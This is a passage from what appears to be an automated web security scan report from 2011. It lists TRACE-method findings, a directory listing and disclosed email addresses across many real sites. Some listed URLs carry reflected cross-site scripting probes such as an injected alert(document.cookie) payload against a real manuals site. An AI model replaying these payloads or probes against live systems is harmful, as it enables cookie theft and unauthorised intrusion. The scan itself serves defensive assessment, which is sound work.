TRACE / HTTP/1.0
Host: smaknews.com
Cookie: 2eb75c0cf7684cca

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:59:19 GMT
Server: Apache/2.0.54
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: smaknews.com
Cookie: 2eb75c0cf7684cca

23.28. http://statistics.wibiya.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://statistics.wibiya.com
Path:	/

Request

TRACE / HTTP/1.0
Host: statistics.wibiya.com
Cookie: 7573c458c24e8e9c

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:09 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny6 with Suhosin-Patch
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: statistics.wibiya.com
Cookie: 7573c458c24e8e9c

23.29. http://tracker.icerocket.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/

Request

TRACE / HTTP/1.0
Host: tracker.icerocket.com
Cookie: 219a87f8ebb5c6dc

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:07:32 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Connection: close
Content-Type: message/http
Set-Cookie: SERVERID=C; path=/
Cache-control: private

TRACE / HTTP/1.0
Host: tracker.icerocket.com
Cookie: 219a87f8ebb5c6dc
X-Forwarded-For: 173.193.214.243

23.30. http://unalog.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://unalog.com
Path:	/

Request

TRACE / HTTP/1.0
Host: unalog.com
Cookie: 35fe762799156b67

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:52 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: unalog.com
Cookie: 35fe762799156b67

23.31. http://wstat.wibiya.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://wstat.wibiya.com
Path:	/

Request

TRACE / HTTP/1.0
Host: wstat.wibiya.com
Cookie: 9f9dd699a31747ed

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:08 GMT
Server: Apache/2.2.9 (Debian)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: wstat.wibiya.com
Cookie: 9f9dd699a31747ed

23.32. http://www.aim.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.aim.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.aim.com
Cookie: 1008d9c37fcf6ddd

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:42:13 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.aim.com
Cookie: 1008d9c37fcf6ddd
Connection: Keep-Alive
X-LB-Client-IP: 173.193.214.243
X-Forwarded-For: 173.193.214.243

23.33. http://www.allvoices.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.allvoices.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.allvoices.com
Cookie: 877f7f4ff401a4dc

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:42:24 GMT
Server: Apache/2.2.3 (Red Hat)
Vary: Cookie
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.allvoices.com
Cookie: 877f7f4ff401a4dc

23.34. http://www.bargainforce.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bargainforce.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.bargainforce.com
Cookie: 81457af5839b6115

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:38:35 GMT
Server: Apache/2.0.52 (CentOS)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.bargainforce.com
Cookie: 81457af5839b6115

23.35. http://www.bookmarks.fr/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bookmarks.fr
Path:	/

Request

TRACE / HTTP/1.0
Host: www.bookmarks.fr
Cookie: a14fdc7cf27d6ce3

Response

HTTP/1.1 200 OK
Set-Cookie: mediaplan=R3757163751; path=/; expires=Tue, 08-Feb-2011 11:06:49 GMT
Date: Sat, 05 Feb 2011 23:01:35 GMT
Server: Apache/2.2.X (OVH)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.bookmarks.fr
Cookie: a14fdc7cf27d6ce3

23.36. http://www.care2.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.care2.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.care2.com
Cookie: cc7fd74593893849

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:49 GMT
Server: Apache/2.2.8
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.care2.com
Cookie: cc7fd74593893849
Connection: Keep-Alive
CLIENT-IP: 173.193.214.243

23.37. http://www.codylindley.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.codylindley.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.codylindley.com
Cookie: a3f1f43234fbe1a8

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:40 GMT
Server: Apache/2.0.54
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.codylindley.com
Cookie: a3f1f43234fbe1a8

23.38. http://www.connotea.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.connotea.org
Path:	/

Request

TRACE / HTTP/1.0
Host: www.connotea.org
Cookie: a24e5c960ab816c6

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:42 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.connotea.org
Cookie: a24e5c960ab816c6
NPG_SRC_ADDR: 173.193.214.243

23.39. http://www.gabbr.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gabbr.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.gabbr.com
Cookie: 75b93b1a7f7bea09

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:17 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.gabbr.com
Cookie: 75b93b1a7f7bea09

23.40. http://www.instapaper.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.instapaper.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.instapaper.com
Cookie: dd6123519f5a6d0b

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:19 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.instapaper.com
Cookie: dd6123519f5a6d0b
X-Forwarded-For: 173.193.214.243

23.41. http://www.jamespot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jamespot.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.jamespot.com
Cookie: 36894508e52c6e3c

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:32 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.jamespot.com
Cookie: 36894508e52c6e3c

23.42. http://www.khabbr.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.khabbr.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.khabbr.com
Cookie: a275f71687ab16b9

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:23 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.khabbr.com
Cookie: a275f71687ab16b9

23.43. http://www.linkagogo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkagogo.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.linkagogo.com
Cookie: 51a74823d8703fdc

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:32 GMT
Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8b Resin/3.1.4
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.linkagogo.com
Cookie: 51a74823d8703fdc

23.44. http://www.linkatopia.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkatopia.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.linkatopia.com
Cookie: 2d8eedbe83bb3dd1

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:03 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.linkatopia.com
Cookie: 2d8eedbe83bb3dd1

23.45. http://www.manualsonline.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.manualsonline.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.manualsonline.com
Cookie: 3c10f2052836ea64

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:39 GMT
Server: Apache/2.2.14 (Fedora)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.manualsonline.com
Cookie: 3c10f2052836ea64

23.46. http://www.mister-wong.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mister-wong.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.mister-wong.com
Cookie: ceb4af9284967d59

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:44 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.mister-wong.com
Cookie: ceb4af9284967d59

23.47. http://www.netvouz.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.netvouz.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.netvouz.com
Cookie: 44ea067194d36176

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:53 GMT
Server: IBM_HTTP_Server
P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa OUR NOR UNI COM NAV"
Content-Length: 261
Set-Cookie: JSESSIONID=0000tOpFw8HaIc3IjBNgocRHEH0:-1; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: message/http
Content-Language: en-US

TRACE / HTTP/1.0
Host: www.netvouz.com
Cookie: 44ea067194d36176
$WSIS: false
$WSSC: http
$WSPR: HTTP/1.0
$WSRA: 173.193.214.243
$WSRH: 173.193.214.243
$WSSN: www.netvouz.com
$WSSP: 80
Surrogate-Capability: WS-ESI="ESI/1.0+"
_WS_HAPRT_WLMVERSION: -1

23.48. http://www.nmworkwear.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/

Request

TRACE / HTTP/1.0
Host: www.nmworkwear.de
Cookie: 59db6554b333cfb1

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:33:56 GMT
Server: Apache/2.2
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.nmworkwear.de
Cookie: 59db6554b333cfb1

23.49. http://www.orthougm.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.orthougm.com
Cookie: bda8e27357b4a9d0

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:48:42 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.orthougm.com
Cookie: bda8e27357b4a9d0

23.50. http://www.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.splunk.com
Cookie: 20bb68af2e50c6c8

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:49:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.splunk.com
Cookie: 20bb68af2e50c6c8

23.51. http://www.traffictrack.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.traffictrack.de
Path:	/

Request

TRACE / HTTP/1.0
Host: www.traffictrack.de
Cookie: 6daf6f5d11a4e562

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:40:51 GMT
Server: Apache/2.2.8 (Linux/SUSE)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.traffictrack.de
Cookie: 6daf6f5d11a4e562

23.52. http://www91.intel.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www91.intel.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www91.intel.com
Cookie: c9bb18cd99f4fe15

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:36:49 GMT
Server: Omniture DC/2.0.0
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www91.intel.com
Cookie: c9bb18cd99f4fe15
Connection: Keep-Alive
X-Forwarded-For: 173.193.214.243

23.53. http://ziffdavisbaseline.112.2o7.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ziffdavisbaseline.112.2o7.net
Path:	/

Request

TRACE / HTTP/1.0
Host: ziffdavisbaseline.112.2o7.net
Cookie: 12f93bfb2a597ebd

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:31 GMT
Server: Omniture DC/2.0.0
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: ziffdavisbaseline.112.2o7.net
Cookie: 12f93bfb2a597ebd
Connection: Keep-Alive
X-Forwarded-For: 173.193.214.243

24. Directory listing previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://scripts.chitika.net
Path:	/static/hq/

Issue description

Directory listings do not necessarily constitute a security vulnerability. Any sensitive resources within your web root should be properly access-controlled in any case, and should not be accessible by an unauthorised party who happens to know the URL. Nevertheless, directory listings can aid an attacker by enabling them to quickly identify the resources at a given path, and proceed directly to analysing and attacking them.

Issue remediation

There is not usually any good reason to provide directory listings, and disabling them may place additional hurdles in the path of an attacker. This can normally be achieved in two ways:

Configure your web server to prevent directory listings for all paths beneath the web root;
Place into each directory a default file (such as index.htm) which the web server will display instead of returning a directory listing.

Request

GET /static/hq/ HTTP/1.1
Host: scripts.chitika.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _cc=G/SkJiIEkgB5jwthOgp2U7fj6wwhdgvL4c0tN7QIkjl+9DY+kxm0FYEPwYHEtzd1Eb9GVhAFySrB7FsCah5yekHnHk86QdWmqzPlPoX9fVgKhjoJ7H0CpjFT5Hp1o2UMeStsZFPsF38vogWeCxRsANnVfye1gm5VQVRitA3zocW7G6iOKSNpC8nW/fSMYPkd+FCgRcmr74lmkl5cwzW3Czwl6LeM3oQBJIYcJ6NbVb7AFAn8X+k1IsMDj5bEGLsE44aH3XGVfZEeq7YK0yCm1xoznT+oB6MyoGrFo+3L+n46HJMn/fIuhcbGfmpCGIWgP/8azfwodcqzdnmXzDHV02SLzkuIP4TROEiHhvvFYJCve1mdj9NNH2b6m71cRkwsP7WlTZEvF7RLkkrfjucSwCzhr5Z1qjMilr/trLois3rxw1y+NdQfz3XqMUHrYIFc6GSu7GKj22sCBmPetmAel7epjXByEoA7.VuO7eR5Qy1Z0VmN7sMLZzA.4;

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Date: Sat, 05 Feb 2011 22:59:12 GMT
Content-Length: 913
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /static/hq</title>
</head>
<body>
<h1>Index of /static/hq</h1>
<ul><li><a href="/static/"> Parent Directory</a>
...[SNIP]...

25. Email addresses disclosed previous next
There are 219 instances of this issue:

http://answers.splunk.com/
http://answers.splunk.com/questions/ask
http://appdeveloper.intel.com/sites/all/themes/intel_agate/js/ie6update.js
http://appdeveloper.intel.com/sites/files/js/js_7bb4b4dc8fd7fed99ab6ae62228d80b1.js
http://bassistance.de/jquery-plugins/jquery-plugin-validation/
http://blog.owneriq.com/
http://blogs.splunk.com/
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/lib/en/resources.xml
http://channelmarketing.owneriq.com/rmb-account/login-page
http://coverall.splunk.com/themes/splunk_com/scripts/js/jquery.dimensions.min.js
http://cryptography.org/getpgp.htm
http://dean.edwards.name/weblog/2006/03/base/
http://demos.spongecell.com/404.html
http://docs.jquery.com/Plugins/Validation
https://ebus.ota.org/default.aspx
http://ecal.forexpros.com/common/CalendarPopup.js
http://etfdb.com/
http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
http://gsgd.co.uk/sandbox/jquery/easing/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/
http://homeappliance.manualsonline.com/managemystuff.html
http://internetmailmanager.com/s/svrg.asp
http://javascript.crockford.com/jsmin.html
http://jqueryui.com/about
http://kambimagazine.blogspot.com/2007/08/malayalam-kambikathakal-kambi-kathakal.html
http://lovely-faces.com/lib/js/ModalPopups.js
http://mallustories1.blogspot.com/
http://mallustories1.blogspot.com/2008/11/malayalam-hot-stories.html
http://mallustories1.blogspot.com/2009/02/adhyanubavam.html
http://mir.aculo.us/
http://opensource.org/licenses/lgpl-license.php
http://opensource.org/licenses/mit-license.php
http://rmncdn.com/widget_cdn.html
http://rydex-sgi.com/equalweight/
http://sans.org/
http://shop.vodafone.de/scripts/jquery.cookie.pack.js
http://shop.vodafone.de/scripts/vodafone.global.js
http://slashdot.org/
http://slashdot.org/submit.pl
http://sourceforge.net/projects/winscp/
http://splunkbase.splunk.com/apps/All/4.x/App/app:PCI+App+-+Creative+Commons+Version
http://static.forexyard.com/class/modules/ajax/AjaxRequest.js
http://tipd.com/modules/jquery/js/jquery.cookie.js
http://tools.ietf.org/html/rfc3986
http://www.2600.com/
http://www.alvit.de/css-showcase/
http://www.baselinemag.com/js/s_code_relcon_new.js
http://www.baselinemag.com/js/s_code_remote_new.js
http://www.baysideeyes.com.au/referrer-information.htm
http://www.beckerortho.com/
http://www.beckerortho.com/pastfp.htm
http://www.beckerortho.com/services.htm
http://www.bibsonomy.org/
http://www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html
http://www.codero.com/css/screen.css
http://www.codero.com/css/style.css
http://www.codero.com/js/hoverIntent.js
http://www.csc.gatech.edu/copeland/jac/6612/info/Install-wireshark-on-MacOS.html
http://www.csc.gatech.edu/copeland/jac/6612/info/SSH-No-Password-Login.txt
http://www.csc.gatech.edu/~copeland/6612/info/Install-wireshark-on-MacOS.html
http://www.cygwin.com/
http://www.dest-unreach.org/socat/
http://www.ebooklibs.com/
http://www.ece.gatech.edu/about/contact_us.html
http://www.eecis.udel.edu/~ntp/
http://www.gatech.edu/support/legal.html
http://www.gnu.org/licenses/gpl.html
http://www.gnu.org/licenses/lgpl.html
http://www.godaddy.com/default.aspx
http://www.google.com/uds/solutions/dynamicfeed/gfdynamicfeedcontrol.js
http://www.gpg.org/
http://www.hemidemi.com/
http://www.hyves.nl/
http://www.instapaper.com/
http://www.jazdtech.com/css/favicon.ico
http://www.kledy.co.uk/modules/exp_easynews/css/easynews.css
http://www.kledy.co.uk/modules/exp_gallery/css/master.css
http://www.kledy.co.uk/modules/exp_hotnews/css/exphotnews.css
http://www.kledy.co.uk/modules/exp_newpage/css/expnewpage.css
http://www.kledy.co.uk/modules/exp_radio/css/expradio.css
http://www.kledy.de/modules/exp_gallery/css/master.css
http://www.kledy.de/modules/exp_hotnews/css/exphotnews.css
http://www.kledy.de/modules/exp_newpage/css/expnewpage.css
http://www.kledy.de/modules/exp_radio/css/expradio.css
http://www.kledy.es/modules/exp_easynews/css/easynews.css
http://www.kledy.es/modules/exp_gallery/css/master.css
http://www.kledy.es/modules/exp_hotnews/css/exphotnews.css
http://www.kledy.es/modules/exp_newpage/css/expnewpage.css
http://www.kledy.es/modules/exp_radio/css/expradio.css
http://www.kledy.it/modules/exp_easynews/css/easynews.css
http://www.kledy.it/modules/exp_gallery/css/master.css
http://www.kledy.it/modules/exp_hotnews/css/exphotnews.css
http://www.kledy.it/modules/exp_newpage/css/expnewpage.css
http://www.kledy.it/modules/exp_radio/css/expradio.css
http://www.kledy.us/modules/exp_easynews/css/easynews.css
http://www.kledy.us/modules/exp_gallery/css/master.css
http://www.kledy.us/modules/exp_hotnews/css/exphotnews.css
http://www.kledy.us/modules/exp_newpage/css/expnewpage.css
http://www.kledy.us/modules/exp_radio/css/expradio.css
http://www.klivio.com/modules/exp_hotnews/css/exphotnews.css
http://www.klivio.com/modules/exp_radio/css/expradio.css
http://www.linuxsecurity.com/templates/LSv3-0.1-Front/jscript/prototype.js
http://www.macports.org/
http://www.manualsonline.com/privacy.html
http://www.manualsonline.com/tc.html
http://www.networksimplicity.com/openssh/
http://www.nmworkwear.de/
http://www.nmworkwear.de/index.php
http://www.ntp.org/
http://www.oit.gatech.edu/service/software-distribution/software-distribution
http://www.opensource.org/licenses
http://www.opensource.org/licenses/gpl-license.php
http://www.opensource.org/licenses/mit-license.php
http://www.orthougm.com/angelina_jolean.html
http://www.ota.org/
http://www.ota.org/contact/contact.html
http://www.ota.org/donorForm/donorform.cfm
http://www.ota.org/education_skeletal/index.html
http://www.ota.org/index.html
http://www.ota.org/international/international.html
http://www.ota.org/members_only/login_menu.cfm
http://www.ota.org/membership_dir/memdir.cfm
http://www.ota.org/policy/health_policy.html
http://www.ota.org/sitemap/sitemap.html
http://www.othawaii.com/default.asp
http://www.owneriq.com/
http://www.owneriq.com/about-us
http://www.owneriq.com/careers
http://www.owneriq.com/contact-us
http://www.owneriq.com/events
http://www.owneriq.com/images/iconError.png
http://www.owneriq.com/investors
http://www.owneriq.com/js/jquery.cookie.js
http://www.owneriq.com/management
http://www.owneriq.com/manuals-online
http://www.owneriq.com/mostiq
http://www.owneriq.com/opt-out
http://www.owneriq.com/ownership-targeting
http://www.owneriq.com/partners
http://www.owneriq.com/press
http://www.owneriq.com/press-coverage
http://www.owneriq.com/privacy-policy
http://www.owneriq.com/product-ownership-party
http://www.owneriq.com/retailers-and-manufacturers
http://www.owneriq.com/retargeting
http://www.owneriq.com/reversing-market-research
http://www.owneriq.com/rmb-account/create
http://www.owneriq.com/rmb-cabinet/read-calculator
http://www.owneriq.com/sitemap
http://www.peppernews.eu/templates/SquaretleFive/images/about.gif
http://www.pointehilton.com/toolkit/presentation/shell/hpportal/assets/js/jquery.bgiframe.js
http://www.positioniseverything.net/explorer/expandingboxbug.html
http://www.printfriendly.com/
http://www.shoppinga.de/modules/exp_hotnews/css/exphotnews.css
http://www.slackbooks.com/404.aspx
http://www.slackbooks.com/Athletic+Training
http://www.slackbooks.com/BestSellers.aspx
http://www.slackbooks.com/ContactUs.aspx
http://www.slackbooks.com/Manual+Therapy
http://www.slackbooks.com/NewTitleNotification.aspx
http://www.slackbooks.com/Orthotics+and+Prosthetics
http://www.slackbooks.com/Physical+Therapy
http://www.slackbooks.com/ShoppingCart.aspx
http://www.slackbooks.com/aclreconstuct
http://www.slackbooks.com/ccacl
http://www.slackbooks.com/ccknee
http://www.slackbooks.com/clinical+nursing+resources
http://www.slackbooks.com/default.aspx
http://www.slackbooks.com/essentialknee
http://www.slackbooks.com/favicon.ico
http://www.slackbooks.com/gastroenterology
http://www.slackbooks.com/homemodification
http://www.slackbooks.com/occupational+therapy
http://www.slackbooks.com/ophthalmic+technology
http://www.slackbooks.com/ophthalmology
http://www.slackbooks.com/orthopedics
http://www.slackbooks.com/pediatrics
http://www.slackinc.com/permissions/
http://www.slackinc.com/privacypolicy.asp
https://www.slackinc.com/reprints/order.asp
http://www.splunk.com/page/ask_expert/default/3107
http://www.splunk.com/page/company_news
http://www.splunk.com/page/events
http://www.splunk.com/page/release_rss
http://www.splunk.com/page/road_map_vote
http://www.splunk.com/services
http://www.splunk.com/solutions
http://www.splunk.com/view/
http://www.splunk.com/view/SP-CAAAAAH
http://www.splunk.com/view/SP-CAAAAH7
http://www.splunk.com/view/application-management-solutions/SP-CAAADSC
http://www.splunk.com/view/contact-us/SP-CAAAAH7
http://www.splunk.com/view/education/SP-CAAAAH9
http://www.splunk.com/view/government/SP-CAAADSN
http://www.splunk.com/view/it-operations-solutions/SP-CAAADSA
http://www.splunk.com/view/long-tail/SP-CAAAE7F
http://www.splunk.com/view/partner-programs/SP-CAAACED
http://www.splunk.com/view/professional-services/SP-CAAABH9
http://www.splunk.com/view/resources/SP-CAAACGF
http://www.splunk.com/view/security-and-compliance-solutions/SP-CAAADSB
http://www.splunk.com/view/services/SP-CAAAFQJ
http://www.stumpedia.com/
http://www.stunnel.org/
http://www.symbaloo.com/
http://www.thumbshots.com/
http://www.tocka.com.mk/sonovnik.php
http://www.vibrantmedia.com/about/contact.asp
http://www.w3.org/TR/html4/loose.dtd
http://www.w3.org/TR/html4/strict.dtd
http://www.w3.org/TR/html4/strict.dtd/
http://www1.hilton.com/en_US/hi/customersupport/site-usage.do
http://www212.americanexpress.com/dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do
http://www7.aaos.org/education/courses/course_detail.aspx

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

25.1. http://answers.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://answers.splunk.com
Path:	/

Issue detail

The following email address was disclosed in the response:

moderators@splunk.com

Request

GET / HTTP/1.1
Host: answers.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 21:50:56 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: private
Expires: Sat, 05 Feb 2011 21:50:56 GMT
X-Powered-By: ASP.NET
Content-Length: 141408

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd" >
<html>
<head>

<meta name="generator" content="StackExchange 0.9 (20100413135304-37b86aed49a
...[SNIP]...
// a new openid
if ($(this).val() == "Log In" && $.trim($('#subheader h2').text()) == "Confirm OpenID") {

$('#subheader h2').text("Account linking problem -- contact moderators@splunk.com");

$('.page-description').html('Uh, oh. Something has gone wrong in how your splunk.com and Splunk Answers accounts are linked. '
+ 'In normal cicrumstances you should not see this page. If you\'re seeing it now, '
+ 'please contact moderators@splunk.com and include: your username, (if you know it) a link to your user profile page, and the "technical details" info below. '
+ 'We\'ll try to get the problem fixed quickly. '

...[SNIP]...
her account(s) into that one, with the splunk.com-openid-having account being the master ID used in the merge.'
);
$(this).html("Unexpected login - please contact moderators@splunk.com");
$(this).css("border-bottom", "0");
$(this).parent().css("border-bottom", "0");
}

if ($(this).val() == "Login") {

//
...[SNIP]...
<li>If something goes wrong with the process above, email moderators@splunk.com, and include the URL of your old Answers user profile if you know it</li>
...[SNIP]...
<br>Please contact moderators@splunk.com and we'll get this fixed.";
$('.page-description').html(newError);

$('#subheader h2').text("Login Error - please contact moderators@splunk.com");
$('.page-description').html('<p>
...[SNIP]...

25.2. http://answers.splunk.com/questions/ask previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://answers.splunk.com
Path:	/questions/ask

Issue detail

The following email address was disclosed in the response:

moderators@splunk.com

Request

GET /questions/ask HTTP/1.1
Host: answers.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
